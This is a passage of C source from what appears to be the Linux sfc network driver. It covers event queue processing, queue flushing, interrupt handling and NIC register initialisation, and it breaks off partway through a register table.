FSE_AZ_WAKE_UP_EV:\n\t\tnetif_vdbg(efx, hw, efx->net_dev,\n\t\t\t \"channel %d RXQ %d wakeup event\\n\",\n\t\t\t channel->channel, ev_sub_data);\n\t\tbreak;\n\tcase FSE_AZ_TIMER_EV:\n\t\tnetif_vdbg(efx, hw, efx->net_dev,\n\t\t\t \"channel %d RX queue %d timer expired\\n\",\n\t\t\t channel->channel, ev_sub_data);\n\t\tbreak;\n\tcase FSE_AA_RX_RECOVER_EV:\n\t\tnetif_err(efx, rx_err, efx->net_dev,\n\t\t\t \"channel %d seen DRIVER RX_RESET event. \"\n\t\t\t\"Resetting.\\n\", channel->channel);\n\t\tatomic_inc(&efx->rx_reset);\n\t\tefx_schedule_reset(efx,\n\t\t\t\t EFX_WORKAROUND_6555(efx) ?\n\t\t\t\t RESET_TYPE_RX_RECOVERY :\n\t\t\t\t RESET_TYPE_DISABLE);\n\t\tbreak;\n\tcase FSE_BZ_RX_DSC_ERROR_EV:\n\t\tnetif_err(efx, rx_err, efx->net_dev,\n\t\t\t \"RX DMA Q %d reports descriptor fetch error.\"\n\t\t\t \" RX Q %d is disabled.\\n\", ev_sub_data, ev_sub_data);\n\t\tefx_schedule_reset(efx, RESET_TYPE_RX_DESC_FETCH);\n\t\tbreak;\n\tcase FSE_BZ_TX_DSC_ERROR_EV:\n\t\tnetif_err(efx, tx_err, efx->net_dev,\n\t\t\t \"TX DMA Q %d reports descriptor fetch error.\"\n\t\t\t \" TX Q %d is disabled.\\n\", ev_sub_data, ev_sub_data);\n\t\tefx_schedule_reset(efx, RESET_TYPE_TX_DESC_FETCH);\n\t\tbreak;\n\tdefault:\n\t\tnetif_vdbg(efx, hw, efx->net_dev,\n\t\t\t \"channel %d unknown driver event code %d \"\n\t\t\t \"data %04x\\n\", channel->channel, ev_sub_code,\n\t\t\t ev_sub_data);\n\t\tbreak;\n\t}\n}\n\nint efx_nic_process_eventq(struct efx_channel *channel, int budget)\n{\n\tunsigned int read_ptr;\n\tefx_qword_t event, *p_event;\n\tint ev_code;\n\tint tx_packets = 0;\n\tint spent = 0;\n\n\tread_ptr = channel->eventq_read_ptr;\n\n\tfor (;;) {\n\t\tp_event = efx_event(channel, read_ptr);\n\t\tevent = *p_event;\n\n\t\tif (!efx_event_present(&event))\n\t\t\t/* End of events */\n\t\t\tbreak;\n\n\t\tnetif_vdbg(channel->efx, intr, channel->efx->net_dev,\n\t\t\t \"channel %d event is \"EFX_QWORD_FMT\"\\n\",\n\t\t\t channel->channel, EFX_QWORD_VAL(event));\n\n\t\t/* Clear this event by marking it all ones */\n\t\tEFX_SET_QWORD(*p_event);\n\n\t\t/* Increment read pointer */\n\t\tread_ptr = (read_ptr + 1) & EFX_EVQ_MASK;\n\n\t\tev_code = EFX_QWORD_FIELD(event, FSF_AZ_EV_CODE);\n\n\t\tswitch (ev_code) {\n\t\tcase FSE_AZ_EV_CODE_RX_EV:\n\t\t\tefx_handle_rx_event(channel, &event);\n\t\t\tif (++spent == budget)\n\t\t\t\tgoto out;\n\t\t\tbreak;\n\t\tcase FSE_AZ_EV_CODE_TX_EV:\n\t\t\ttx_packets += efx_handle_tx_event(channel, &event);\n\t\t\tif (tx_packets >= EFX_TXQ_SIZE) {\n\t\t\t\tspent = budget;\n\t\t\t\tgoto out;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase FSE_AZ_EV_CODE_DRV_GEN_EV:\n\t\t\tefx_handle_generated_event(channel, &event);\n\t\t\tbreak;\n\t\tcase FSE_AZ_EV_CODE_GLOBAL_EV:\n\t\t\tefx_handle_global_event(channel, &event);\n\t\t\tbreak;\n\t\tcase FSE_AZ_EV_CODE_DRIVER_EV:\n\t\t\tefx_handle_driver_event(channel, &event);\n\t\t\tbreak;\n\t\tcase FSE_CZ_EV_CODE_MCDI_EV:\n\t\t\tefx_mcdi_process_event(channel, &event);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tnetif_err(channel->efx, hw, channel->efx->net_dev,\n\t\t\t\t \"channel %d unknown event type %d (data \"\n\t\t\t\t EFX_QWORD_FMT \")\\n\", channel->channel,\n\t\t\t\t ev_code, EFX_QWORD_VAL(event));\n\t\t}\n\t}\n\nout:\n\tchannel->eventq_read_ptr = read_ptr;\n\treturn spent;\n}\n\n\n/* Allocate buffer table entries for event queue */\nint efx_nic_probe_eventq(struct efx_channel *channel)\n{\n\tstruct efx_nic *efx = channel->efx;\n\tBUILD_BUG_ON(EFX_EVQ_SIZE < 512 || EFX_EVQ_SIZE > 32768 ||\n\t\t EFX_EVQ_SIZE & EFX_EVQ_MASK);\n\treturn efx_alloc_special_buffer(efx, &channel->eventq,\n\t\t\t\t\tEFX_EVQ_SIZE * sizeof(efx_qword_t));\n}\n\nvoid efx_nic_init_eventq(struct efx_channel *channel)\n{\n\tefx_oword_t reg;\n\tstruct efx_nic *efx = channel->efx;\n\n\tnetif_dbg(efx, hw, efx->net_dev,\n\t\t \"channel %d event queue in special buffers %d-%d\\n\",\n\t\t channel->channel, channel->eventq.index,\n\t\t channel->eventq.index + channel->eventq.entries - 1);\n\n\tif (efx_nic_rev(efx) >= EFX_REV_SIENA_A0) {\n\t\tEFX_POPULATE_OWORD_3(reg,\n\t\t\t\t FRF_CZ_TIMER_Q_EN, 1,\n\t\t\t\t FRF_CZ_HOST_NOTIFY_MODE, 0,\n\t\t\t\t FRF_CZ_TIMER_MODE, FFE_CZ_TIMER_MODE_DIS);\n\t\tefx_writeo_table(efx, ®, FR_BZ_TIMER_TBL, channel->channel);\n\t}\n\n\t/* Pin event queue buffer */\n\tefx_init_special_buffer(efx, &channel->eventq);\n\n\t/* Fill event queue with all ones (i.e. empty events) */\n\tmemset(channel->eventq.addr, 0xff, channel->eventq.len);\n\n\t/* Push event queue to card */\n\tEFX_POPULATE_OWORD_3(reg,\n\t\t\t FRF_AZ_EVQ_EN, 1,\n\t\t\t FRF_AZ_EVQ_SIZE, __ffs(channel->eventq.entries),\n\t\t\t FRF_AZ_EVQ_BUF_BASE_ID, channel->eventq.index);\n\tefx_writeo_table(efx, ®, efx->type->evq_ptr_tbl_base,\n\t\t\t channel->channel);\n\n\tefx->type->push_irq_moderation(channel);\n}\n\nvoid efx_nic_fini_eventq(struct efx_channel *channel)\n{\n\tefx_oword_t reg;\n\tstruct efx_nic *efx = channel->efx;\n\n\t/* Remove event queue from card */\n\tEFX_ZERO_OWORD(reg);\n\tefx_writeo_table(efx, ®, efx->type->evq_ptr_tbl_base,\n\t\t\t channel->channel);\n\tif (efx_nic_rev(efx) >= EFX_REV_SIENA_A0)\n\t\tefx_writeo_table(efx, ®, FR_BZ_TIMER_TBL, channel->channel);\n\n\t/* Unpin event queue */\n\tefx_fini_special_buffer(efx, &channel->eventq);\n}\n\n/* Free buffers backing event queue */\nvoid efx_nic_remove_eventq(struct efx_channel *channel)\n{\n\tefx_free_special_buffer(channel->efx, &channel->eventq);\n}\n\n\nvoid efx_nic_generate_test_event(struct efx_channel *channel)\n{\n\tunsigned int magic = EFX_CHANNEL_MAGIC_TEST(channel);\n\tefx_qword_t test_event;\n\n\tEFX_POPULATE_QWORD_2(test_event, FSF_AZ_EV_CODE,\n\t\t\t FSE_AZ_EV_CODE_DRV_GEN_EV,\n\t\t\t FSF_AZ_DRV_GEN_EV_MAGIC, magic);\n\tefx_generate_event(channel, &test_event);\n}\n\nvoid efx_nic_generate_fill_event(struct efx_channel *channel)\n{\n\tunsigned int magic = EFX_CHANNEL_MAGIC_FILL(channel);\n\tefx_qword_t test_event;\n\n\tEFX_POPULATE_QWORD_2(test_event, FSF_AZ_EV_CODE,\n\t\t\t FSE_AZ_EV_CODE_DRV_GEN_EV,\n\t\t\t FSF_AZ_DRV_GEN_EV_MAGIC, magic);\n\tefx_generate_event(channel, &test_event);\n}\n\n/**************************************************************************\n *\n * Flush handling\n *\n **************************************************************************/\n\n\nstatic void efx_poll_flush_events(struct efx_nic *efx)\n{\n\tstruct efx_channel *channel = &efx->channel[0];\n\tstruct efx_tx_queue *tx_queue;\n\tstruct efx_rx_queue *rx_queue;\n\tunsigned int read_ptr = channel->eventq_read_ptr;\n\tunsigned int end_ptr = (read_ptr - 1) & EFX_EVQ_MASK;\n\n\tdo {\n\t\tefx_qword_t *event = efx_event(channel, read_ptr);\n\t\tint ev_code, ev_sub_code, ev_queue;\n\t\tbool ev_failed;\n\n\t\tif (!efx_event_present(event))\n\t\t\tbreak;\n\n\t\tev_code = EFX_QWORD_FIELD(*event, FSF_AZ_EV_CODE);\n\t\tev_sub_code = EFX_QWORD_FIELD(*event,\n\t\t\t\t\t FSF_AZ_DRIVER_EV_SUBCODE);\n\t\tif (ev_code == FSE_AZ_EV_CODE_DRIVER_EV &&\n\t\t ev_sub_code == FSE_AZ_TX_DESCQ_FLS_DONE_EV) {\n\t\t\tev_queue = EFX_QWORD_FIELD(*event,\n\t\t\t\t\t\t FSF_AZ_DRIVER_EV_SUBDATA);\n\t\t\tif (ev_queue < EFX_TXQ_TYPES * efx->n_tx_channels) {\n\t\t\t\ttx_queue = efx->tx_queue + ev_queue;\n\t\t\t\ttx_queue->flushed = FLUSH_DONE;\n\t\t\t}\n\t\t} else if (ev_code == FSE_AZ_EV_CODE_DRIVER_EV &&\n\t\t\t ev_sub_code == FSE_AZ_RX_DESCQ_FLS_DONE_EV) {\n\t\t\tev_queue = EFX_QWORD_FIELD(\n\t\t\t\t*event, FSF_AZ_DRIVER_EV_RX_DESCQ_ID);\n\t\t\tev_failed = EFX_QWORD_FIELD(\n\t\t\t\t*event, FSF_AZ_DRIVER_EV_RX_FLUSH_FAIL);\n\t\t\tif (ev_queue < efx->n_rx_channels) {\n\t\t\t\trx_queue = efx->rx_queue + ev_queue;\n\t\t\t\trx_queue->flushed =\n\t\t\t\t\tev_failed ? FLUSH_FAILED : FLUSH_DONE;\n\t\t\t}\n\t\t}\n\n\t\t/* We're about to destroy the queue anyway, so\n\t\t * it's ok to throw away every non-flush event */\n\t\tEFX_SET_QWORD(*event);\n\n\t\tread_ptr = (read_ptr + 1) & EFX_EVQ_MASK;\n\t} while (read_ptr != end_ptr);\n\n\tchannel->eventq_read_ptr = read_ptr;\n}\n\n/* Handle tx and rx flushes at the same time, since they run in\n * parallel in the hardware and there's no reason for us to\n * serialise them */\nint efx_nic_flush_queues(struct efx_nic *efx)\n{\n\tstruct efx_rx_queue *rx_queue;\n\tstruct efx_tx_queue *tx_queue;\n\tint i, tx_pending, rx_pending;\n\n\t/* If necessary prepare the hardware for flushing */\n\tefx->type->prepare_flush(efx);\n\n\t/* Flush all tx queues in parallel */\n\tefx_for_each_tx_queue(tx_queue, efx)\n\t\tefx_flush_tx_queue(tx_queue);\n\n\t/* The hardware supports four concurrent rx flushes, each of which may\n\t * need to be retried if there is an outstanding descriptor fetch */\n\tfor (i = 0; i < EFX_FLUSH_POLL_COUNT; ++i) {\n\t\trx_pending = tx_pending = 0;\n\t\tefx_for_each_rx_queue(rx_queue, efx) {\n\t\t\tif (rx_queue->flushed == FLUSH_PENDING)\n\t\t\t\t++rx_pending;\n\t\t}\n\t\tefx_for_each_rx_queue(rx_queue, efx) {\n\t\t\tif (rx_pending == EFX_RX_FLUSH_COUNT)\n\t\t\t\tbreak;\n\t\t\tif (rx_queue->flushed == FLUSH_FAILED ||\n\t\t\t rx_queue->flushed == FLUSH_NONE) {\n\t\t\t\tefx_flush_rx_queue(rx_queue);\n\t\t\t\t++rx_pending;\n\t\t\t}\n\t\t}\n\t\tefx_for_each_tx_queue(tx_queue, efx) {\n\t\t\tif (tx_queue->flushed != FLUSH_DONE)\n\t\t\t\t++tx_pending;\n\t\t}\n\n\t\tif (rx_pending == 0 && tx_pending == 0)\n\t\t\treturn 0;\n\n\t\tmsleep(EFX_FLUSH_INTERVAL);\n\t\tefx_poll_flush_events(efx);\n\t}\n\n\t/* Mark the queues as all flushed. We're going to return failure\n\t * leading to a reset, or fake up success anyway */\n\tefx_for_each_tx_queue(tx_queue, efx) {\n\t\tif (tx_queue->flushed != FLUSH_DONE)\n\t\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t\t \"tx queue %d flush command timed out\\n\",\n\t\t\t\t tx_queue->queue);\n\t\ttx_queue->flushed = FLUSH_DONE;\n\t}\n\tefx_for_each_rx_queue(rx_queue, efx) {\n\t\tif (rx_queue->flushed != FLUSH_DONE)\n\t\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t\t \"rx queue %d flush command timed out\\n\",\n\t\t\t\t rx_queue->queue);\n\t\trx_queue->flushed = FLUSH_DONE;\n\t}\n\n\treturn -ETIMEDOUT;\n}\n\n/**************************************************************************\n *\n * Hardware interrupts\n * The hardware interrupt handler does very little work; all the event\n * queue processing is carried out by per-channel tasklets.\n *\n **************************************************************************/\n\n/* Enable/disable/generate interrupts */\nstatic inline void efx_nic_interrupts(struct efx_nic *efx,\n\t\t\t\t bool enabled, bool force)\n{\n\tefx_oword_t int_en_reg_ker;\n\n\tEFX_POPULATE_OWORD_3(int_en_reg_ker,\n\t\t\t FRF_AZ_KER_INT_LEVE_SEL, efx->fatal_irq_level,\n\t\t\t FRF_AZ_KER_INT_KER, force,\n\t\t\t FRF_AZ_DRV_INT_EN_KER, enabled);\n\tefx_writeo(efx, &int_en_reg_ker, FR_AZ_INT_EN_KER);\n}\n\nvoid efx_nic_enable_interrupts(struct efx_nic *efx)\n{\n\tstruct efx_channel *channel;\n\n\tEFX_ZERO_OWORD(*((efx_oword_t *) efx->irq_status.addr));\n\twmb(); /* Ensure interrupt vector is clear before interrupts enabled */\n\n\t/* Enable interrupts */\n\tefx_nic_interrupts(efx, true, false);\n\n\t/* Force processing of all the channels to get the EVQ RPTRs up to\n\t date */\n\tefx_for_each_channel(channel, efx)\n\t\tefx_schedule_channel(channel);\n}\n\nvoid efx_nic_disable_interrupts(struct efx_nic *efx)\n{\n\t/* Disable interrupts */\n\tefx_nic_interrupts(efx, false, false);\n}\n\n/* Generate a test interrupt\n * Interrupt must already have been enabled, otherwise nasty things\n * may happen.\n */\nvoid efx_nic_generate_interrupt(struct efx_nic *efx)\n{\n\tefx_nic_interrupts(efx, true, true);\n}\n\n/* Process a fatal interrupt\n * Disable bus mastering ASAP and schedule a reset\n */\nirqreturn_t efx_nic_fatal_interrupt(struct efx_nic *efx)\n{\n\tstruct falcon_nic_data *nic_data = efx->nic_data;\n\tefx_oword_t *int_ker = efx->irq_status.addr;\n\tefx_oword_t fatal_intr;\n\tint error, mem_perr;\n\n\tefx_reado(efx, &fatal_intr, FR_AZ_FATAL_INTR_KER);\n\terror = EFX_OWORD_FIELD(fatal_intr, FRF_AZ_FATAL_INTR);\n\n\tnetif_err(efx, hw, efx->net_dev, \"SYSTEM ERROR \"EFX_OWORD_FMT\" status \"\n\t\t EFX_OWORD_FMT \": %s\\n\", EFX_OWORD_VAL(*int_ker),\n\t\t EFX_OWORD_VAL(fatal_intr),\n\t\t error ? \"disabling bus mastering\" : \"no recognised error\");\n\n\t/* If this is a memory parity error dump which blocks are offending */\n\tmem_perr = (EFX_OWORD_FIELD(fatal_intr, FRF_AZ_MEM_PERR_INT_KER) ||\n\t\t EFX_OWORD_FIELD(fatal_intr, FRF_AZ_SRM_PERR_INT_KER));\n\tif (mem_perr) {\n\t\tefx_oword_t reg;\n\t\tefx_reado(efx, ®, FR_AZ_MEM_STAT);\n\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t \"SYSTEM ERROR: memory parity error \"EFX_OWORD_FMT\"\\n\",\n\t\t\t EFX_OWORD_VAL(reg));\n\t}\n\n\t/* Disable both devices */\n\tpci_clear_master(efx->pci_dev);\n\tif (efx_nic_is_dual_func(efx))\n\t\tpci_clear_master(nic_data->pci_dev2);\n\tefx_nic_disable_interrupts(efx);\n\n\t/* Count errors and reset or disable the NIC accordingly */\n\tif (efx->int_error_count == 0 ||\n\t time_after(jiffies, efx->int_error_expire)) {\n\t\tefx->int_error_count = 0;\n\t\tefx->int_error_expire =\n\t\t\tjiffies + EFX_INT_ERROR_EXPIRE * HZ;\n\t}\n\tif (++efx->int_error_count < EFX_MAX_INT_ERRORS) {\n\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t \"SYSTEM ERROR - reset scheduled\\n\");\n\t\tefx_schedule_reset(efx, RESET_TYPE_INT_ERROR);\n\t} else {\n\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t \"SYSTEM ERROR - max number of errors seen.\"\n\t\t\t \"NIC will be disabled\\n\");\n\t\tefx_schedule_reset(efx, RESET_TYPE_DISABLE);\n\t}\n\n\treturn IRQ_HANDLED;\n}\n\n/* Handle a legacy interrupt\n * Acknowledges the interrupt and schedule event queue processing.\n */\nstatic irqreturn_t efx_legacy_interrupt(int irq, void *dev_id)\n{\n\tstruct efx_nic *efx = dev_id;\n\tefx_oword_t *int_ker = efx->irq_status.addr;\n\tirqreturn_t result = IRQ_NONE;\n\tstruct efx_channel *channel;\n\tefx_dword_t reg;\n\tu32 queues;\n\tint syserr;\n\n\t/* Read the ISR which also ACKs the interrupts */\n\tefx_readd(efx, ®, FR_BZ_INT_ISR0);\n\tqueues = EFX_EXTRACT_DWORD(reg, 0, 31);\n\n\t/* Check to see if we have a serious error condition */\n\tif (queues & (1U << efx->fatal_irq_level)) {\n\t\tsyserr = EFX_OWORD_FIELD(*int_ker, FSF_AZ_NET_IVEC_FATAL_INT);\n\t\tif (unlikely(syserr))\n\t\t\treturn efx_nic_fatal_interrupt(efx);\n\t}\n\n\tif (queues != 0) {\n\t\tif (EFX_WORKAROUND_15783(efx))\n\t\t\tefx->irq_zero_count = 0;\n\n\t\t/* Schedule processing of any interrupting queues */\n\t\tefx_for_each_channel(channel, efx) {\n\t\t\tif (queues & 1)\n\t\t\t\tefx_schedule_channel(channel);\n\t\t\tqueues >>= 1;\n\t\t}\n\t\tresult = IRQ_HANDLED;\n\n\t} else if (EFX_WORKAROUND_15783(efx)) {\n\t\tefx_qword_t *event;\n\n\t\t/* We can't return IRQ_HANDLED more than once on seeing ISR=0\n\t\t * because this might be a shared interrupt. */\n\t\tif (efx->irq_zero_count++ == 0)\n\t\t\tresult = IRQ_HANDLED;\n\n\t\t/* Ensure we schedule or rearm all event queues */\n\t\tefx_for_each_channel(channel, efx) {\n\t\t\tevent = efx_event(channel, channel->eventq_read_ptr);\n\t\t\tif (efx_event_present(event))\n\t\t\t\tefx_schedule_channel(channel);\n\t\t\telse\n\t\t\t\tefx_nic_eventq_read_ack(channel);\n\t\t}\n\t}\n\n\tif (result == IRQ_HANDLED) {\n\t\tefx->last_irq_cpu = raw_smp_processor_id();\n\t\tnetif_vdbg(efx, intr, efx->net_dev,\n\t\t\t \"IRQ %d on CPU %d status \" EFX_DWORD_FMT \"\\n\",\n\t\t\t irq, raw_smp_processor_id(), EFX_DWORD_VAL(reg));\n\t}\n\n\treturn result;\n}\n\n/* Handle an MSI interrupt\n *\n * Handle an MSI hardware interrupt. This routine schedules event\n * queue processing. No interrupt acknowledgement cycle is necessary.\n * Also, we never need to check that the interrupt is for us, since\n * MSI interrupts cannot be shared.\n */\nstatic irqreturn_t efx_msi_interrupt(int irq, void *dev_id)\n{\n\tstruct efx_channel *channel = dev_id;\n\tstruct efx_nic *efx = channel->efx;\n\tefx_oword_t *int_ker = efx->irq_status.addr;\n\tint syserr;\n\n\tefx->last_irq_cpu = raw_smp_processor_id();\n\tnetif_vdbg(efx, intr, efx->net_dev,\n\t\t \"IRQ %d on CPU %d status \" EFX_OWORD_FMT \"\\n\",\n\t\t irq, raw_smp_processor_id(), EFX_OWORD_VAL(*int_ker));\n\n\t/* Check to see if we have a serious error condition */\n\tif (channel->channel == efx->fatal_irq_level) {\n\t\tsyserr = EFX_OWORD_FIELD(*int_ker, FSF_AZ_NET_IVEC_FATAL_INT);\n\t\tif (unlikely(syserr))\n\t\t\treturn efx_nic_fatal_interrupt(efx);\n\t}\n\n\t/* Schedule processing of the channel */\n\tefx_schedule_channel(channel);\n\n\treturn IRQ_HANDLED;\n}\n\n\n/* Setup RSS indirection table.\n * This maps from the hash value of the packet to RXQ\n */\nvoid efx_nic_push_rx_indir_table(struct efx_nic *efx)\n{\n\tsize_t i = 0;\n\tefx_dword_t dword;\n\n\tif (efx_nic_rev(efx) < EFX_REV_FALCON_B0)\n\t\treturn;\n\n\tBUILD_BUG_ON(ARRAY_SIZE(efx->rx_indir_table) !=\n\t\t FR_BZ_RX_INDIRECTION_TBL_ROWS);\n\n\tfor (i = 0; i < FR_BZ_RX_INDIRECTION_TBL_ROWS; i++) {\n\t\tEFX_POPULATE_DWORD_1(dword, FRF_BZ_IT_QUEUE,\n\t\t\t\t efx->rx_indir_table[i]);\n\t\tefx_writed_table(efx, &dword, FR_BZ_RX_INDIRECTION_TBL, i);\n\t}\n}\n\n/* Hook interrupt handler(s)\n * Try MSI and then legacy interrupts.\n */\nint efx_nic_init_interrupt(struct efx_nic *efx)\n{\n\tstruct efx_channel *channel;\n\tint rc;\n\n\tif (!EFX_INT_MODE_USE_MSI(efx)) {\n\t\tirq_handler_t handler;\n\t\tif (efx_nic_rev(efx) >= EFX_REV_FALCON_B0)\n\t\t\thandler = efx_legacy_interrupt;\n\t\telse\n\t\t\thandler = falcon_legacy_interrupt_a1;\n\n\t\trc = request_irq(efx->legacy_irq, handler, IRQF_SHARED,\n\t\t\t\t efx->name, efx);\n\t\tif (rc) {\n\t\t\tnetif_err(efx, drv, efx->net_dev,\n\t\t\t\t \"failed to hook legacy IRQ %d\\n\",\n\t\t\t\t efx->pci_dev->irq);\n\t\t\tgoto fail1;\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/* Hook MSI or MSI-X interrupt */\n\tefx_for_each_channel(channel, efx) {\n\t\trc = request_irq(channel->irq, efx_msi_interrupt,\n\t\t\t\t IRQF_PROBE_SHARED, /* Not shared */\n\t\t\t\t channel->name, channel);\n\t\tif (rc) {\n\t\t\tnetif_err(efx, drv, efx->net_dev,\n\t\t\t\t \"failed to hook IRQ %d\\n\", channel->irq);\n\t\t\tgoto fail2;\n\t\t}\n\t}\n\n\treturn 0;\n\n fail2:\n\tefx_for_each_channel(channel, efx)\n\t\tfree_irq(channel->irq, channel);\n fail1:\n\treturn rc;\n}\n\nvoid efx_nic_fini_interrupt(struct efx_nic *efx)\n{\n\tstruct efx_channel *channel;\n\tefx_oword_t reg;\n\n\t/* Disable MSI/MSI-X interrupts */\n\tefx_for_each_channel(channel, efx) {\n\t\tif (channel->irq)\n\t\t\tfree_irq(channel->irq, channel);\n\t}\n\n\t/* ACK legacy interrupt */\n\tif (efx_nic_rev(efx) >= EFX_REV_FALCON_B0)\n\t\tefx_reado(efx, ®, FR_BZ_INT_ISR0);\n\telse\n\t\tfalcon_irq_ack_a1(efx);\n\n\t/* Disable legacy interrupt */\n\tif (efx->legacy_irq)\n\t\tfree_irq(efx->legacy_irq, efx);\n}\n\nu32 efx_nic_fpga_ver(struct efx_nic *efx)\n{\n\tefx_oword_t altera_build;\n\tefx_reado(efx, &altera_build, FR_AZ_ALTERA_BUILD);\n\treturn EFX_OWORD_FIELD(altera_build, FRF_AZ_ALTERA_BUILD_VER);\n}\n\nvoid efx_nic_init_common(struct efx_nic *efx)\n{\n\tefx_oword_t temp;\n\n\t/* Set positions of descriptor caches in SRAM. */\n\tEFX_POPULATE_OWORD_1(temp, FRF_AZ_SRM_TX_DC_BASE_ADR,\n\t\t\t efx->type->tx_dc_base / 8);\n\tefx_writeo(efx, &temp, FR_AZ_SRM_TX_DC_CFG);\n\tEFX_POPULATE_OWORD_1(temp, FRF_AZ_SRM_RX_DC_BASE_ADR,\n\t\t\t efx->type->rx_dc_base / 8);\n\tefx_writeo(efx, &temp, FR_AZ_SRM_RX_DC_CFG);\n\n\t/* Set TX descriptor cache size. */\n\tBUILD_BUG_ON(TX_DC_ENTRIES != (8 << TX_DC_ENTRIES_ORDER));\n\tEFX_POPULATE_OWORD_1(temp, FRF_AZ_TX_DC_SIZE, TX_DC_ENTRIES_ORDER);\n\tefx_writeo(efx, &temp, FR_AZ_TX_DC_CFG);\n\n\t/* Set RX descriptor cache size. Set low watermark to size-8, as\n\t * this allows most efficient prefetching.\n\t */\n\tBUILD_BUG_ON(RX_DC_ENTRIES != (8 << RX_DC_ENTRIES_ORDER));\n\tEFX_POPULATE_OWORD_1(temp, FRF_AZ_RX_DC_SIZE, RX_DC_ENTRIES_ORDER);\n\tefx_writeo(efx, &temp, FR_AZ_RX_DC_CFG);\n\tEFX_POPULATE_OWORD_1(temp, FRF_AZ_RX_DC_PF_LWM, RX_DC_ENTRIES - 8);\n\tefx_writeo(efx, &temp, FR_AZ_RX_DC_PF_WM);\n\n\t/* Program INT_KER address */\n\tEFX_POPULATE_OWORD_2(temp,\n\t\t\t FRF_AZ_NORM_INT_VEC_DIS_KER,\n\t\t\t EFX_INT_MODE_USE_MSI(efx),\n\t\t\t FRF_AZ_INT_ADR_KER, efx->irq_status.dma_addr);\n\tefx_writeo(efx, &temp, FR_AZ_INT_ADR_KER);\n\n\tif (EFX_WORKAROUND_17213(efx) && !EFX_INT_MODE_USE_MSI(efx))\n\t\t/* Use an interrupt level unused by event queues */\n\t\tefx->fatal_irq_level = 0x1f;\n\telse\n\t\t/* Use a valid MSI-X vector */\n\t\tefx->fatal_irq_level = 0;\n\n\t/* Enable all the genuinely fatal interrupts. (They are still\n\t * masked by the overall interrupt mask, controlled by\n\t * falcon_interrupts()).\n\t *\n\t * Note: All other fatal interrupts are enabled\n\t */\n\tEFX_POPULATE_OWORD_3(temp,\n\t\t\t FRF_AZ_ILL_ADR_INT_KER_EN, 1,\n\t\t\t FRF_AZ_RBUF_OWN_INT_KER_EN, 1,\n\t\t\t FRF_AZ_TBUF_OWN_INT_KER_EN, 1);\n\tif (efx_nic_rev(efx) >= EFX_REV_SIENA_A0)\n\t\tEFX_SET_OWORD_FIELD(temp, FRF_CZ_SRAM_PERR_INT_P_KER_EN, 1);\n\tEFX_INVERT_OWORD(temp);\n\tefx_writeo(efx, &temp, FR_AZ_FATAL_INTR_KER);\n\n\tefx_nic_push_rx_indir_table(efx);\n\n\t/* Disable the ugly timer-based TX DMA backoff and allow TX DMA to be\n\t * controlled by the RX FIFO fill level. Set arbitration to one pkt/Q.\n\t */\n\tefx_reado(efx, &temp, FR_AZ_TX_RESERVED);\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_RX_SPACER, 0xfe);\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_RX_SPACER_EN, 1);\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_ONE_PKT_PER_Q, 1);\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_PUSH_EN, 0);\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_DIS_NON_IP_EV, 1);\n\t/* Enable SW_EV to inherit in char driver - assume harmless here */\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_SOFT_EVT_EN, 1);\n\t/* Prefetch threshold 2 => fetch when descriptor cache half empty */\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_PREF_THRESHOLD, 2);\n\t/* Disable hardware watchdog which can misfire */\n\tEFX_SET_OWORD_FIELD(temp, FRF_AZ_TX_PREF_WD_TMR, 0x3fffff);\n\t/* Squash TX of packets of 16 bytes or less */\n\tif (efx_nic_rev(efx) >= EFX_REV_FALCON_B0)\n\t\tEFX_SET_OWORD_FIELD(temp, FRF_BZ_TX_FLUSH_MIN_LEN_EN, 1);\n\tefx_writeo(efx, &temp, FR_AZ_TX_RESERVED);\n}\n\n/* Register dump */\n\n#define REGISTER_REVISION_A\t1\n#define REGISTER_REVISION_B\t2\n#define REGISTER_REVISION_C\t3\n#define REGISTER_REVISION_Z\t3\t/* latest revision */\n\nstruct efx_nic_reg {\n\tu32 offset:24;\n\tu32 min_revision:2, max_revision:2;\n};\n\n#define REGISTER(name, min_rev, max_rev) {\t\t\t\t\\\n\tFR_ ## min_rev ## max_rev ## _ ## name,\t\t\t\t\\\n\tREGISTER_REVISION_ ## min_rev, REGISTER_REVISION_ ## max_rev\t\\\n}\n#define REGISTER_AA(name) REGISTER(name, A, A)\n#define REGISTER_AB(name) REGISTER(name, A, B)\n#define REGISTER_AZ(name) REGISTER(name, A, Z)\n#define REGISTER_BB(name) REGISTER(name, B, B)\n#define REGISTER_BZ(name) REGISTER(name, B, Z)\n#define REGISTER_CZ(name) REGISTER(name, C, Z)\n\nstatic const struct efx_nic_reg efx_nic_regs[] = {\n\tREGISTER_AZ(ADR_REGION),\n\tREGISTER_AZ(INT_EN_KER),\n\tREGISTER_BZ(INT_EN_CHAR),\n\tREGISTER_AZ(INT_ADR_KER),\n\tREGISTER_BZ(INT_ADR_CHAR),\n\t/* INT_ACK_KER is WO */\n\t/* INT_ISR0 is RC */\n\tREGISTER_AZ(HW_INIT),\n\tREGISTER_CZ(USR_EV_CFG),\n\tREGISTER_AB(EE_SPI_HCMD),\n\tREGISTER_AB(EE_SPI_HADR),\n\tREGISTER_AB(EE_SPI_HDATA),\n\tREGISTER_AB(EE_BASE_PAGE),\n\tREGISTER_AB(EE_VPD_CFG0),\n\t/* EE_VPD_SW_CNTL and EE_VPD_SW_DATA are not used */\n\t/* PMBX_DBG_IADDR and PBMX_DBG_IDATA are indirect */\n\t/* PCIE_CORE_INDIRECT is indirect */\n\tREGISTER_AB(NIC_STAT),\n\tREGISTER_AB(GPIO_CTL),\n\tREGISTER_AB(GLB_CTL),\n\t/* FATAL_INTR_KER and FATAL_INTR_CHAR are partly RC 